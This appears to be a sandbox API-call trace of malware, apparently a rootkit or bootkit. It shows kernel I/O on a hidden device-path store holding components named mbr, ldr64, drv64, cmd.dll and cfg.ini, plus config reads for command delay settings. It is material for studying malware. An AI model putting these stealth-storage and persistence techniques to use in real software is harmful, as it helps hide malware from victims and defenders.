0x0 [0121.665] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.665] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.666] KeEnterCriticalRegion () [0121.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.666] IdePortDispatch () returned 0x103 [0121.666] KeWaitForMutexObject () returned 0x0 [0121.666] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.666] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.666] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.666] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.666] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.666] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.666] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.666] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.666] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.666] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.666] KeLeaveCriticalRegion () [0121.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.666] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.666] KeEnterCriticalRegion () [0121.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.666] IdePortDispatch () returned 0x103 [0121.666] KeWaitForMutexObject () returned 0x0 [0121.667] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.667] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.667] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.667] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.667] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.667] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.667] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.667] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.667] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.667] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.667] KeLeaveCriticalRegion () [0121.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.667] ReleaseMutex (hMutex=0x100) returned 1 [0121.667] Sleep (dwMilliseconds=0x2bf20) [0121.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bb8fcd0, dwHighDateTime=0x1d24fa4)) [0121.675] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.675] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.675] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.675] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.675] KeEnterCriticalRegion () [0121.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.675] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.675] IdePortDispatch () returned 0x103 [0121.675] KeWaitForMutexObject () returned 0x0 [0121.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.676] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.676] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.676] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.676] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.676] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6860 [0121.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.676] KeLeaveCriticalRegion () [0121.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.676] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.676] KeEnterCriticalRegion () [0121.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.676] KeLeaveCriticalRegion () [0121.676] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.676] KeEnterCriticalRegion () [0121.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.676] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.676] IdePortDispatch () returned 0x103 [0121.676] KeWaitForMutexObject () returned 0x0 [0121.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.676] KeLeaveCriticalRegion () [0121.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.676] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.676] KeEnterCriticalRegion () [0121.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b72000 [0121.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.677] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.677] IdePortDispatch () returned 0x103 [0121.677] KeWaitForMutexObject () returned 0x0 [0121.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.677] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.677] IdePortDispatch () returned 0x103 [0121.677] KeWaitForMutexObject () returned 0x0 [0121.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.677] KeLeaveCriticalRegion () [0121.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.678] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.678] KeEnterCriticalRegion () [0121.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] KeLeaveCriticalRegion () [0121.678] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.678] KeEnterCriticalRegion () [0121.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.678] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] KeLeaveCriticalRegion () [0121.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.678] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.678] KeEnterCriticalRegion () [0121.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] ExFreePoolWithTag (P=0xfffffa8003bd6860, Tag=0x0) [0121.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] KeLeaveCriticalRegion () [0121.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.678] ReleaseMutex (hMutex=0xf0) returned 1 [0121.678] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.678] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.678] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.678] KeEnterCriticalRegion () [0121.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.679] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.679] IdePortDispatch () returned 0x103 [0121.679] KeWaitForMutexObject () returned 0x0 [0121.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.679] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.679] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.679] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.679] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.679] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6bc0 [0121.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.679] KeLeaveCriticalRegion () [0121.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.679] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.679] KeEnterCriticalRegion () [0121.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.679] KeLeaveCriticalRegion () [0121.679] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.679] KeEnterCriticalRegion () [0121.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.679] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.679] IdePortDispatch () returned 0x103 [0121.679] KeWaitForMutexObject () returned 0x0 [0121.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.679] KeLeaveCriticalRegion () [0121.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.680] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.680] KeEnterCriticalRegion () [0121.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b73000 [0121.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.680] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.680] IdePortDispatch () returned 0x103 [0121.680] KeWaitForMutexObject () returned 0x0 [0121.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.680] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.680] IdePortDispatch () returned 0x103 [0121.680] KeWaitForMutexObject () returned 0x0 [0121.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.680] KeLeaveCriticalRegion () [0121.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.681] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.681] KeEnterCriticalRegion () [0121.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] KeLeaveCriticalRegion () [0121.681] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.681] KeEnterCriticalRegion () [0121.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.681] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] KeLeaveCriticalRegion () [0121.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.681] KeEnterCriticalRegion () [0121.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] ExFreePoolWithTag (P=0xfffffa8003bd6bc0, Tag=0x0) [0121.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] KeLeaveCriticalRegion () [0121.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.681] ReleaseMutex (hMutex=0xf0) returned 1 [0121.681] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.681] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.681] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.681] KeEnterCriticalRegion () [0121.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.681] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.681] IdePortDispatch () returned 0x103 [0121.681] KeWaitForMutexObject () returned 0x0 [0121.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.682] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.682] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.682] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.682] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.682] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6570 [0121.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.682] KeLeaveCriticalRegion () [0121.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.682] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.682] KeEnterCriticalRegion () [0121.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.682] KeLeaveCriticalRegion () [0121.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.682] KeEnterCriticalRegion () [0121.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.682] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.682] IdePortDispatch () returned 0x103 [0121.682] KeWaitForMutexObject () returned 0x0 [0121.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.682] KeLeaveCriticalRegion () [0121.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.682] KeEnterCriticalRegion () [0121.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b74000 [0121.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.683] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 